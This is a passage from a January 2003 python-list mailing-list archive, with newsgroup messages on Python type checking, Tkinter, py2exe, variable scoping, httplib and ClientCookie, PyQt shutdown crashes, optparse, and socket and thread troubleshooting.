Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4V3ckACgkQYu1fMmOQldU3QwCdGIziIwb1CzOq6lnPxqNUzh06
qPsAnRpp2cTfyEHn8k05rm6izl1lnSah
=csis
-----END PGP SIGNATURE-----



From alloydflanagan at attbi.com  Mon Jan 27 14:44:00 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 27 Jan 2003 11:44:00 -0800
Subject: Purpose of Python Type Checking?
References: <mailman.1043633328.27598.python-list@python.org>
Message-ID: <a8b7f07a.0301271144.58ac4577@posting.google.com>

Mongryong <Mongryong at sympatico.ca> wrote in message news:<mailman.1043633328.27598.python-list at python.org>...
> Why do people use type checking in Python?  
> 
...
> 
> The reason I'm asking is because I don't use type checking at all but I
> ses a lot of other code use it.  So, is there a good reason I should be
> using it too?

Short answer: No!  I don't think I've yet seen a case where explicit
type-checking did anything but make code 'brittle' -- i.e. cause it to
fail when it receives a type that would have worked fine without the
type-check.

There are probably cases where you have to make an exception.  In that
case I'd recommend that, instead of forcing a parameter to have a type
that you know works, just make sure that it isn't a type you know
doesn't work.  Preserve the caller's freedom to pass you a type that
you didn't plan for, if it 'does the right thing.'



From edream at tds.net  Tue Jan 14 11:27:07 2003
From: edream at tds.net (Edward K. Ream)
Date: Tue, 14 Jan 2003 10:27:07 -0600
Subject: [pypy-dev] Re: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org><FOIT9.121090$Hs2.11398609@kent.svc.tds.net><m2adi7ull8.fsf@mycroft.actrix.gen.nz><OASU9.131402$Hs2.11990469@kent.svc.tds.net><7xbs2k3pwp.fsf@ruckus.brouhaha.com> <3E2436A4.40507@tismer.com>
Message-ID: <00e401c2bbe9$c84f27c0$bba4aad8@computer>

> This leads to high-level descriptions of low-level fields of all
structures.

Thanks, Chris, for these details.  The more I understand about this project
the better it looks :-)

I eagerly await developments...

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------







From v.wehren at home.nl  Tue Jan  7 17:38:34 2003
From: v.wehren at home.nl (v.wehren)
Date: Tue, 7 Jan 2003 23:38:34 +0100
Subject: Tkinter: Figured Out Why Accelerator Keys Broken Under Win32
References: <68ifva.f82.ln@boundary.tundraware.com>
Message-ID: <avfkg5$hss$1@news2.tilbu1.nb.home.nl>

Accelerators can work just fine on win32 in menus using *Menu* widgets. I'm
not entirely sure, but I remember reading somewhere that the Menubutton
widget was deprecated. Anyway, I know that mnemonics on Button windows
definitively don't  work on Windows. You you have to bind them extra.

Vincent


"Tim Daneliuk" <tundra at tundraware.com> schrieb im Newsbeitrag
news:68ifva.f82.ln at boundary.tundraware.com...
> I asked this question (poorly) a couple days ago, and now have more data
to
> ask it clearly:
>
> I have a Tkinter program which runs on both Unix and Win32.  On Unix,
> accelerator keys for my menus work fine.  I have one menu called
"Commands"
> and another called "Directories" and Alt-C and Alt-D bring them up
> respectively.  On Win32, pressing these keys does nothing.
>
> After some digging, I discovered that, under Unix, the Alt key sets the
Mod1
> bit of the event.state value.  However, under Win32, the 0x20000 bit is
set (???)
> Presumably, the Tk core is looking for the Mod1 bit, which it never sees
> under Win32, hence the accelerators do not work.  (I would think that
> Tk itself should somehow remap this to make the Alt keypress consistent
> regardless of underlying platform differences.  No?)
>
> Has anyone seen this problem before?  Is there any workaround besides
writing
> manual accelerators triggered by the 0x20000 bit on Win32 (yuk!)?
>
> TIA,
> --
> --------------------------------------------------------------------------
----
> Tim Daneliuk
> tundra at tundraware.com
>





From pete.joos at pobox.com  Sat Jan 11 09:15:02 2003
From: pete.joos at pobox.com (Paul Ferguson)
Date: Sat, 11 Jan 2003 14:15:02 GMT
Subject: Newbie simple py2exe problem
Message-ID: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com>

created small python app., Installed distutils, installed py2exe. I
created the script using the example from the py2exe site. When I run
"python setup.py py2exe" , I get a syntax error on "from
distutils.core  import setup". What's my problem? 



From p-abel at t-online.de  Mon Jan 27 16:25:52 2003
From: p-abel at t-online.de (Peter Abel)
Date: 27 Jan 2003 13:25:52 -0800
Subject: Life cycle of a mod_python application and scope of global variables
References: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com> <50f33vofevm3og4bp1ji85atd22bqduv11@4ax.com> <13a533e8.0301250539.169c7d9c@posting.google.com> <sl473v0q7g05nd3r1fuuihg7a2dnjdo2lj@4ax.com>
Message-ID: <13a533e8.0301271325.6a0cb64a@posting.google.com>

Kyle Yancey <kyle at lakeofburningfire.org> wrote in message news:<sl473v0q7g05nd3r1fuuihg7a2dnjdo2lj at 4ax.com>...
> Yep, that's right.  I shouldn't have typed that in so fast.  Now for
> my original question.  Do global values have to be protected by
> mutexes to prevent race conditions.

I'm not familiar with threads which need to be
coordinated for time access but my belly says 'YES'.
Hope someone else with more experience for this problem
can help you further.
Regards
Peter



From BranimirPetrovic at yahoo.com  Wed Jan  8 11:27:05 2003
From: BranimirPetrovic at yahoo.com (Branimir Petrovic)
Date: 8 Jan 2003 08:27:05 -0800
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <mailman.1041907216.30028.python-list@python.org>
Message-ID: <b11d1191.0301080827.48643491@posting.google.com>

andy <andy at eastonwest.co.uk> wrote in message news:<mailman.1041907216.30028.python-list at python.org>...

> 
> I had, years ago, written an incremental directory copier in Modula-2, so I 
> decided to rewrite it in Python.  Works a treat:
> 
> On a 394MB, P4/2000 windows XP pro w/s,  with 100Mb/s ethernet:
> 
> From memory, when testing:
>     copy command: roughly 600K/s
>     explorer copy: roughly 500K/s
>     robocopy: roughly 1000K/s
> 
> Today:
>     bulkloader.py: roughly 4000-8000K/s
> 
> It uses a brute-force copy, i.e. just loads up each file and writes it to 
> dest.  Good excuse to have extra memory! ;-)
> 

Andy, would you mind showing the snippet of the critical part of your
"
just loads up each file and writes it to dest." statement. Not quite
see/understand what you mean (and how).

I will have to do something similar soon - move large folder trees 
across the network to their ?new home' and I planned of using robocopy
believing it is ?the best game in town' for Windows platform.

Having fair amount of scripting experience of what's (not) achievable
using M$ pathetic scripting approach (FileSystemsObject & cousins), 
I had impression that beating robocopy.exe using (any) scripting 
language is just not in cards.

Branimir



From exarkun at intarweb.us  Wed Jan 22 11:56:00 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 22 Jan 2003 11:56:00 -0500
Subject: max() of a list of tuples
In-Reply-To: <13a533e8.0301220447.802ca54@posting.google.com>
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <13a533e8.0301220447.802ca54@posting.google.com>
Message-ID: <20030122165600.GA6774@meson.dyndns.org>

On Wed, Jan 22, 2003 at 04:47:14AM -0800, Peter Abel wrote:
> [snip]
> 
> reduce(lambda y,x:y[2]>x[2] and y or x,l,l[0])

reduce(lambda y,x:y[2]>x[2] and y or x,l[1:],l[0])

  Jp

-- 
 12:00am up 37 days, 9:48, 2 users, load average: 0.36, 0.32, 0.27
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030122/0c953e0f/attachment.sig>

From andy at eastonwest.co.uk  Wed Jan  8 15:19:20 2003
From: andy at eastonwest.co.uk (andy)
Date: Wed, 8 Jan 2003 20:19:20 +0000
Subject: global variable not seen (bug?)
In-Reply-To: <3e1c5a33$1_1@nopics.sjc>
References: <mailman.1042041138.4444.python-list@python.org> <3e1c5a33$1_1@nopics.sjc>
Message-ID: <200301082019.20364.andy@eastonwest.co.uk>

Global variables in Python had me going for a while, too.  My Pascalesque 
background taught me (what I call) *implied* *nested* *scoping*.  

Considering the following program fragment:

var x:integer (* a global variable *)

function referencex(z:integer):integer;

var y: integer; (* a local variable *)

begin
	y:=x*z;	(* assign local var y product of x and y *)
	if x>z then  (* reference the value of x *)
		a:=z   (* return z as result *)
	else 
		a:=x;  (* return x as result *)
end;


procedure assignx(z:integer); 

begin
	if z<x then
		x:=z; (* assign global var x value of z *)
end;
	
procedure localx(z:integer);

var x:integer;

begin
	x:=z*2;  (* assign to local var x *)
end;

### Yes, none of that does anything sensible, I know :-P

In function referencex(),  global variable x is referenced, but not modified; 
this function has no /side/ /effects/.

In procedure assignx(), global variable x is assigned to, changing its value;

In procedure localx(), the global variable x remains untouched, as there is 
another, local variable of the same name, which gets assigned to.


My point here, is that my experience had lead me to expect this kind of 
behaviour; Pascal, Modula, Oberon, C, C++ etc. all follow roughly the same 
rules.

Python (being Python, of course) does it differently!

In Python, (correct me if I'm wrong) you declare it the other way round, that 
is, a variable in the global scope is not assignable unless you say so, using 
the global statement.  If you declare a variable as global in a procedure, 
you cannot also have a local variable with the same name.

To me, the advantage is that you are *declaring* that a procedure has a 
*side-effect* - the global statement is a flag that the procedure alters 
variables outside its own scope.  That's a Good Thing.

# Global variable example

x=1 # declare global x and assign value

def referencex(z):
    y=x*z # assign local var y product of x and y 
    if x>z: # reference the value of x
        return z   #return z as result 
    else:
        return x  # return x as result 

def assignx(z):

    global x  # this procedure needs to modify x

    if z<x:
        x=z # assign global var x value of 
	
def localx(z):
    x=z*2 # assign to local var x 
    # can't reference global x below here (in this procedure)
    





From eric.brunel at pragmadev.com  Tue Jan 14 06:17:01 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Tue, 14 Jan 2003 12:17:01 +0100
Subject: tkinter file selector
References: <18f9f477.0301130635.42ebcb5a@posting.google.com> <mailman.1042469723.18185.python-list@python.org> <18f9f477.0301140144.436dd563@posting.google.com>
Message-ID: <b00r7d$g1k$1@news-reader12.wanadoo.fr>

Natacha wrote:
> thanks, but we would like to have the directory in the "Entry" when we
> select a file example :
> _______________________________________           _____________________
> C:/WINDOWS/Bureau/question.doc        |           |     PARCOURIR      |
> ______________________________________|           |____________________|
> 

Just put it there yourself:

---------------------------------
from Tkinter import *
from tkFileDialog import askopenfilename

root = Tk()

fileVar = StringVar()

def browseFile(*whatever):
  fileName = askopenfilename()
  if fileName == '': return
  fileVar.set(fileName)

e = Entry(root, textvariable=fileVar)
e.pack(side=LEFT)
b = Button(root, text='Parcourir...', command=browseFile)
b.pack(side=LEFT)

root.mainloop()
---------------------------------

There's no simpler way to do it.

HTH. Bon courage!
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From maxm at mxm.dk  Tue Jan  7 06:12:28 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 07 Jan 2003 12:12:28 +0100
Subject: Simple httplib problem
In-Reply-To: <hs5k1vklegrthn41c3krdv8g8g1s8edfc5@4ax.com>
References: <hs5k1vklegrthn41c3krdv8g8g1s8edfc5@4ax.com>
Message-ID: <3E1AB61C.8000309@mxm.dk>

Afanasiy wrote:
> Can someone tell me what I am doing wrong here?
> 


You are not using ClentCookie ;-)

http://wwwsearch.sourceforge.net/ClientCookie/


With it you will be able to write code like the following, wich makes 
the process pretty painless (untested):


import urllib, urllib2, ClientCookie

class SiteBrowser:

     def __init__(self, url, **form_data):
         # form fields, including hidden ones
         data = urllib.urlencode(form_data)
         # login page
         request = urllib2.Request(url, data)
         result = ClientCookie.urlopen(request)
         self.content = ''

     def browse(self, url):
         # Find a password protected page
         req = urllib2.Request(url)
         res = ClientCookie.urlopen(req)
         self.content = res.read()
         res.close()



if __name__=='__main__':

     usr = 'user'
     pwd = 'secret'
     form_name = 'login_form', # hidden field!
     button = 'ok'
     url = 'http://www.somewhere.com/loginform.asp'

     browser = SiteBrowser(
             url, USERNAME=usr, PASSWORD=pwd, FORM_NAME=form_name, ok='')
     browser.browse('http://www.somewhere.com/protected_page.asp')
     print browser.content


-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From grante at visi.com  Tue Jan  7 21:34:12 2003
From: grante at visi.com (Grant Edwards)
Date: 08 Jan 2003 02:34:12 GMT
Subject: Is it really good?
References: <3E1A9A0F.6020306@envision.co.il> <mailman.1041983572.25078.python-list@python.org>
Message-ID: <slrnb1n3p0.n2l.grante@localhost.localdomain>

In article <mailman.1041983572.25078.python-list at python.org>, Skip Montanaro wrote:
> 
>     Nadav> Can someone explain why python does not raise NameError in the
>     Nadav> first test line b[e]low.
> 
>     >>> 2 == 3 is good
>     0     # ????????????????????????
> 
> Chained operations.  The above expression is effectively
> 
>     (2 == 3) and (3 is good)
>
> The first is false, so the second is never evaluated.

Why do you say that?

That logic would seem to indicate that
 
  0 is 0
  
should false, since the first term is false, the "is" short-circuits and
returns false. It doesn't:

  Python 1.5.2 (#1, Apr  3 2002, 18:16:26)  [GCC 2.96 20000731 (Red Hat Linux 7.2 2 on linux-i386
  Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
  >>> 0 is 0
  1

Your statement also means that

  >>> (2==3) is (2==3)
  1
  
should return false, but it doesn't.



So why does

 (2==3) is 0
 
return false? 

Apparently the expression (2==3) returns a false value that prints as 0, but
it's not the same 0 as the one on the right hand side.

One might guess that (2==3) returns some sort of temporary false value that
can never "be" anything else since it isn't a "real" object.  If that's the
case, then why does the 1 returned by (2!=3) act similarly in this case:

  >>> (2!=3) is 1
  0

But not in this case:

  >>> (2!=3) is good
  Traceback (most recent call last):
    File "<stdin>", line 1, in ?
  NameError: name 'good' is not defined
  >>> 

The value returned by (2!=3) apparently can't "be" anything else either, but
"is" still evaluates the RHS.  Apparently, there is a "true" value that
prints as "1", but isn't "1":

>>> (2!=3) is (2!=3)
1

All this still doesn't explain why

 (2==3) is good
 
doesn't evaluate the right hand side of the "is".... 

-- 
Grant Edwards                   grante             Yow!  I HAVE a towel.
                                  at               
                               visi.com            



From rharkins at thinkronize.com  Mon Jan  6 13:26:52 2003
From: rharkins at thinkronize.com (Rich Harkins)
Date: 06 Jan 2003 13:26:52 -0500
Subject: Suggestion: UnixOptionParser class in optparse.py
In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9F@admin56.narex.com>
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9F@admin56.narex.com>
Message-ID: <1041877613.1189.4.camel@localhost.localdomain>

On Mon, 2003-01-06 at 13:19, Bjorn Pettersen wrote:
> > From: Rich Harkins [mailto:rharkins at thinkronize.com] 
> > 
> > I love the OptionParser class.  Good stuff.  The only thing 
> > that I would want different (right now anyway) would be a 
> > simple way to parse Unix style options (first non-option 
> > argument terminates options).
> 
> Does the getopt module
> (http://www.python.org/doc/current/lib/module-getopt.html) do what you
> want? (It's the pre Python 2.3 way of doing options...)
> 
> -- bjorn
> 
> 

In many ways yes, and I have used it extensively over the years.  OTOH,
I have always wanted a class to shorten the standard chunk of code
necessary to manage the parsed options, print help, etc., which
optparse.py seems to handle quite well -- except for the un-Unix-like
ability to stick arguments anywhere in the sys.argv.  Since the author
of optparse.py has done a nice job of allowing Unix-like parsing as
well, I would simply like to see a subclass that lets me get there
without having to subclass it in my own libraries (which will obviously
duplicate other's efforts to do the same almost certainly) or stick the
exception in the code every time I want to use OptionParser.

Rich






From imbosol at vt.edu  Fri Jan 17 17:12:09 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 17 Jan 2003 22:12:09 GMT
Subject: Idea: __all__ in classes?
References: <slrnb2e3kb.gp8.mlh@furu.idi.ntnu.no> <7h3el7cm2o5.fsf@pc150.maths.bris.ac.uk>
Message-ID: <Zc%V9.2136$xx4.1993@nwrddc01.gnilink.net>

Michael Hudson wrote:
> [snip heresy <wink>]
>> With properties and metaclasses this should be fairly easy to
>> implement. (The private stuff I've already implemented with properties
>> a while back.)
> 
> How do you distinguish access from inside the class and access
> outside?

My guess is he uses the properties or the metaclass to wrap the
function defined in the class's scope, where the wrapper calls the
function with a proxy object (instead of the instance) that has access
to private variables.


-- 
CARL BANKS



From adalke at mindspring.com  Sun Jan 26 16:05:26 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 26 Jan 2003 14:05:26 -0700
Subject: PyQT-application crash when shutting down
In-Reply-To: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl>
References: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl>
Message-ID: <b12d79$816$1@slb6.atl.mindspring.net>

Albert Hofkamp wrote:
> I am writing an animation application using PyQt at a Redhat 7.2 machine
> (RPM: PyQt-devel-3.1-2).
> The application seems to be working fine, but when I press the 'Quit'
> button (which sends a 'clicked' signal to the 'quit' slot of the main
> application), I get a "segmentation fault".
> Below is a stripped-down application that demonstrates the problem (at
> least at my machine):

> if __name__ == '__main__':
>     app=QApplication(sys.argv)
>     aw=ApplicationWindow()
>     app.setMainWidget(aw)
>     app.connect(aw._quit,SIGNAL("clicked()"),app,SLOT("quit()"))
>     aw.show()
>     app.exec_loop()
> 
> I don't understand why this happens. If the application is closed with the
> 'close window' button, it exits without problems.
> 
> Any ideas?

I get similar behaviour.  I think it's because the deallocator for
app and aw are in indefinite order, but Qt requires aw to be deallocated
first.  I end up writing my scripts like this

def main(app):
     aw=ApplicationWindow()
     app.setMainWidget(aw)
     app.connect(aw._quit,SIGNAL("clicked()"),app,SLOT("quit()"))
     aw.show()
     app.exec_loop()

if __name__ == "__main__":
     app = QApplication(sys.argv)
     main(app)

                                          Andrew
                                          dalke at dalkescientific.com




From dkuhlman at rexx.com  Thu Jan 30 12:19:39 2003
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Thu, 30 Jan 2003 09:19:39 -0800
Subject: [Q] Customizable text editor based on Python?
References: <mailman.1043925834.10593.python-list@python.org>
Message-ID: <b1bmra$10ugd4$1@ID-139865.news.dfncis.de>

Simon Brunning wrote:

>> From:        eRrEiMcOgVoErMrE at cox.net [SMTP:eRrEiMcOgVoErMrE at cox.net]
>> I was wondering if people could point me to a text editor which can be
>> extended using Python, similar to how Emacs can be extended via LISP and
>> Alpha can be extended via TCL/TK.

Also see PyEditor:

    http://www.rexx.com/~dkuhlman/#pyeditor

It's built on the scintilla editor widget, which is implemented in C++, 
making it pretty quick.  The top level code is Python; so, for example, you 
can add new menu items implemented in Python.

Requires pyscintilla and pygtk.

-- 
Dave Kuhlman
dkuhlman at rexx.com
http://www.rexx.com/~dkuhlman



From Mongryong at sympatico.ca  Thu Jan 23 19:12:29 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 23 Jan 2003 19:12:29 -0500
Subject: How to send output to file
In-Reply-To: <b0pt03$eg$1@news.online.de>
References: <3E2D17B1.3400.13E9049E@localhost>
	<mailman.1043162627.26459.python-list@python.org> 
	<b0pt03$eg$1@news.online.de>
Message-ID: <1043367150.578.44.camel@refugeeMedia>

If you're just debugging, you might want to override sys.stderr instead
of sys.stdout (ie sys.stderr = open("log","w")).  Use sys.stdout for
normal program output.

Alternatively, you can use your own global variable (ie. MYLOG =
open("log", "w")).

If you're using the 'print "some string"' convention, don't forget to
add your output handler to the print command:
ie.  1. print >> sys.stderr, "string..."
ie   2. print >> MYLOG, "string...."

My advice would be to stay awhile from the "print" convention for
outputting text.

On Thu, 2003-01-23 at 18:14, Stefan Schwarzer wrote:
> Gerrit Holl wrote:
> > A schreef op dinsdag 21 januari om 09:54:37 +0000:
> >> I use httplib module.
> >> By h.set_debuglevel(1) I start debugging but the output is written to DOS window.
> >> How can  I divert the output to file instead.
> >> Thank you for help.
> > 
> > You can assing to sys.stdout
> > 
> > import sys
> > sys.stdout = open("myfile.log", "w")
> 
> Specifically, you can set and reset sys.stdout:
> 
> sys.stdout = open("myfile.log", "w")  # like above
> try:
>      # do things that write to sys.stdout
> finally:
>      # sys.__stdout__ contains the "real" standard output
>      sys.stdout = sys.__stdout__
> 
> Note that the above approach will also affect print statements in other threads
> than the one which should use the redirection.
> 
> Stefan
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From steve at ferg.org  Sun Jan  5 18:54:56 2003
From: steve at ferg.org (Stephen Ferg)
Date: 5 Jan 2003 15:54:56 -0800
Subject: Is there documentation for the IDLE debugger?
References: <b16e4ef7.0301041901.25c77fe8@posting.google.com> <av95vr$7od$1@news2.tilbu1.nb.home.nl>
Message-ID: <b16e4ef7.0301051554.2a118b39@posting.google.com>

Thanks to all.  I had that documentation, and had looked through it,
and somehow missed the discussion of the debugger!

Thanks again!
-- Steve



From skip at pobox.com  Wed Jan 22 09:16:05 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 08:16:05 -0600
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <3E2E947D.7050600@outerthought.org>
References: <004b01c2c16c$ef26c780$21795418@dell1700>
        <3E2E947D.7050600@outerthought.org>
Message-ID: <15918.42917.203377.862983@montanaro.dyndns.org>

    Steven> I'm trying to wrap things in order to make it feel less
    Steven> XMLRPC'ish:

I'm coming in late to this thread, but use XML-RPC all the time.  Other than
the initial setup of a server proxy and the fact that XML-RPC can't quite
pass all Python data types, can you describe what "XMLRPC'ish" is?

Skip




From andy at eastonwest.co.uk  Fri Jan 10 16:41:59 2003
From: andy at eastonwest.co.uk (andy)
Date: Fri, 10 Jan 2003 21:41:59 +0000
Subject: moving items in a list
In-Reply-To: <15899.19351.622623.244760@montanaro.dyndns.org>
References: <JHEOKEOOLIGLDHCMAHMOOEKEFIAA.mark@mceahern.com> <15899.19351.622623.244760@montanaro.dyndns.org>
Message-ID: <200301102141.59138.andy@eastonwest.co.uk>

On Tuesday 07 Jan 2003 9:50 pm, Skip Montanaro wrote:
>     ...
>     Mark>         j = i - 1
>     Mark>         swap_with = l[j]
>     Mark>         l[i] = swap_with
>     Mark>         l[j] = item
>     ...
>
> How about
>
>     l[i-1], l[i] = l[i], l[i-1]
>
> ?  It's visually simpler than using a temporary variable and captures the
> sentiment better I think.
>
> Skip

Ug?  You just broke one of my longest-standing programming diktats, ever since 
my college tutor asked us 'anybody know a way to swap the contents of two 
variables?'

Everybody started off saying something like:

	a=b
	b=a

and then realised how stupid that was...

And that was, er, about 20 years ago.  I've never seen a language that could 
do that any better without a 'swap' function.  

a,b=b,a  # how much more obvious can you get?

Just goes to show that you need to talk to people about Python - just applying 
what you already know from (even 20+ years of) programming experience IS NOT 
ENOUGH.  That would never have occurred to me...

-andyj




From phil at river-bank.demon.co.uk  Sat Jan 11 06:56:48 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Sat, 11 Jan 2003 11:56:48 +0000
Subject: Qt/PyQt licensing
In-Reply-To: <avktp6$mso$1@bob.news.rcn.net>
References: <avktp6$mso$1@bob.news.rcn.net>
Message-ID: <200301111156.48422.phil@river-bank.demon.co.uk>

On Friday 10 January 2003 12:25 am, morden wrote:
> Say I distribute PyQt as part of a commercial app written in Python
> and do not extend pythonqt interpreter with proprietary code.
>
> I need commercial licenses for PyQt only at 150 pounds per developer's
> seat and can use Qt non commercial license. Is this correct assumption?

No, if you do this you would be breaking the terms of the Qt non-commercial 
license and the PyQt commercial license. You need a commercial Qt license.

Phil




From skip at pobox.com  Tue Jan 28 18:24:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 28 Jan 2003 17:24:48 -0600
Subject: .pyc files
In-Reply-To: <HEDZ9.4327$va6.27627700@news-text.cableinet.net>
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
        <3E35F105.27C32244@engcorp.com>
        <_anZ9.1126$8p1.805@nwrddc04.gnilink.net>
        <3E368D1A.FF61316A@engcorp.com>
        <HEDZ9.4327$va6.27627700@news-text.cableinet.net>
Message-ID: <15927.4416.791638.567841@montanaro.dyndns.org>

    newt> As suggested, I want to compile from within IDE so that my .pyc
    newt> file gets updated.  Perhaps there is an alternative approach
    newt> though.  Is it possible to force an import to reproduce the .pyc
    newt> file? e.g. if I have a file newt_i.py, which is imported by
    newt> newt.py, then when I first run it newt_i.pyc get 'compiled' to
    newt> newt_i.pyc. If I then change newt_i.py, and run newt.py, then it
    newt> will still import the existing newt_i.pyc, not a .pyc version of
    newt> the new file. Is this correct?

If the .pyc file is out-of-date wrt to the .py file, the source will get
byte-compiled and a new .pyc file written automatically.

    newt> Would reload(newt_i) (within the relevent code) do the trick?

Yes.

Python just does the right thing.  I've never encountered a situation where
it didn't.  Don't worry about it until you need to and you'll die with one
less grey hair. ;-)

Skip




From gtalvola at nameconnector.com  Mon Jan 27 12:27:17 2003
From: gtalvola at nameconnector.com (Geoffrey Talvola)
Date: Mon, 27 Jan 2003 12:27:17 -0500
Subject: socket wedged forever in recv()
Message-ID: <61957B071FF421419E567A28A45C7FE54010E3@mailbox.nameconnector.com>

Andrew Bennetts [mailto:andrew-pythonlist at puzzling.org] wrote:
> On Fri, Jan 24, 2003 at 04:47:19PM -0500, Geoffrey Talvola wrote:
> > I have a Windows NT client application that uses httplib to 
> > make requests to
> > a Windows NT server running Apache 2.0 serving up a cgi script.
> > Unfortunately, if I reboot the Apache server, if a request 
> > is in-progress,
> > the client will often wedge permanently.  I built a debug 
> > version of Python
> > 2.2.2 and verified that the client is stuck in a call to 
> > recv() and will
> > apparently never exit.  It's a little irritating that the 
> > client can't
> > detect the situation and return from recv() with an error 
> > code at this
> > point.  Does anyone know a way to get the client to notice 
> > that the server
> > is gone?
> 
> I'd recommend using Twisted <http://twistedmatrix.com/> and 
> simply setting a
> timeout inside Twisted, which would then close the socket.  
> Alternatively
> you could use select directly -- but Twisted is *much* nicer 
> to work with.
> Twisted also has support for SSL.
> 

My understanding is that Twisted would require me to restructure my code to
be event-driven, which would be quite a bit of work.  Also, it's a pretty
large package with a lot to learn.  If I were starting something new, I'd
consider it, but I don't think it's a good option for my problem which is
affecting a base of existing code.

But, as I stated in another message, I did eventually figure out how to get
timeoutsocket.py to work with SSL sockets so that solves my problem.

- Geoff




From andrew-pythonlist at puzzling.org  Wed Jan 29 22:57:34 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 30 Jan 2003 14:57:34 +1100
Subject: Starting threads
In-Reply-To: <Pine.LNX.4.44.0301290809440.26166-100000@x.opf.slu.cz>
References: <Pine.LNX.4.44.0301281637060.26166-100000@x.opf.slu.cz> <3E36D34E.4CB5237F@engcorp.com> <Pine.LNX.4.44.0301290809440.26166-100000@x.opf.slu.cz>
Message-ID: <20030130035734.GF13117@frobozz.local>

On Wed, Jan 29, 2003 at 08:51:13AM +0100, Lukas Kubin wrote:
> Thank you for answer. OK, I will describe it better.
> The doTheAction() function is defined in the Control class and looks
> almost like this:
> 
> def sendSignal(address,port,command):
>   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>   try:
>     s.connect((address, port))
>   except socket.error, msg:
>     s = None
>     return "false"
>   s.send(command)
>   # Here follows processing of returned values,etc.
>   s.close()

This is a complete jump sideways from your thread problems, but for handling
multiple simultaneous socket connections, you will probably find using
Twisted <http://twistedmatrix.com/> is easier than trying to do it yourself.

> The Control class is described in my previous letter bellow and the
> Computer (it is not class I just badly shorted it for example) object is a
> list of hostnames. So the main call looks like:
> 
> if __name__ == '__main__':
> 
>   for comp in ['hostname1','hostname2']:
>     thread = Control(comp)
>     thread.start()
>     time.sleep(.005)
> 
> When I don't use the time.sleep() then it starts 2 threads of 'hostname2'.
> Thank you

What exactly do you mean by "2 threads of 'hostname2'"?  Both threads
connect to hostname2?

I strongly suspect you have a bug in your Control class of it sharing the
hostname passed into the constructor between all instances, thus causing all
of your threads to use/connect/something that hostname.  You might be using
"Control.foo = foo" instead of "self.foo = foo", or you might be sharing a
mutable between instances without realising, e.g. with:

class Foo:
    shared = []  # Lists are mutable, so changing this in one instance
                 # affects all other instances
    ...

-Andrew.





From robert at fake_email_address.net  Thu Jan 23 13:34:18 2003
From: robert at fake_email_address.net (Robert Oschler)
Date: Thu, 23 Jan 2003 18:34:18 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org> <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org> <JhMX9.441$0L3.173271@news2.news.adelphia.net> <mailman.1043344317.16508.python-list@python.org>
Message-ID: <KAWX9.529$0L3.274661@news2.news.adelphia.net>

"Laura Creighton" <lac at strakt.com> wrote in message
news:mailman.1043344317.16508.python-list at python.org...
> >
> So could I prevail on you to change your mail address to something that
> is more obviously not worth sending a reply to?
>

Good point. This is a test of new reply address.

thx






From barghest at wanadoo.fr  Thu Jan  2 08:23:52 2003
From: barghest at wanadoo.fr (Barghest)
Date: Thu, 2 Jan 2003 14:23:52 +0100
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk>
Message-ID: <av1dsi$pqv$1@reader1.imaginet.fr>

> Anyone know some good Python editors under Linux?
> With good color highlightning... :)

- SciTE or gscite ( gnome scite ) http://www.scintilla.org/SciTE.html ( I
think it's the best for python ).
- Jext, 100% Java. Note that there's a JPython extension.
http://www.jedit.org/

Both can be used under Linux or Windows...





From deneb at penguin.it  Sun Jan 19 07:06:59 2003
From: deneb at penguin.it (Giorgio Zoppi)
Date: Sun, 19 Jan 2003 12:06:59 GMT
Subject: HTTPS Server
References: <avu4qn$md3$1@newsreader1.netway.at> <slrnb2k2t5.em5.toni@outpost.soth.at>
Message-ID: <DxwW9.21446$YG2.637142@twister1.libero.it>

Toni Andjelkovic wrote:

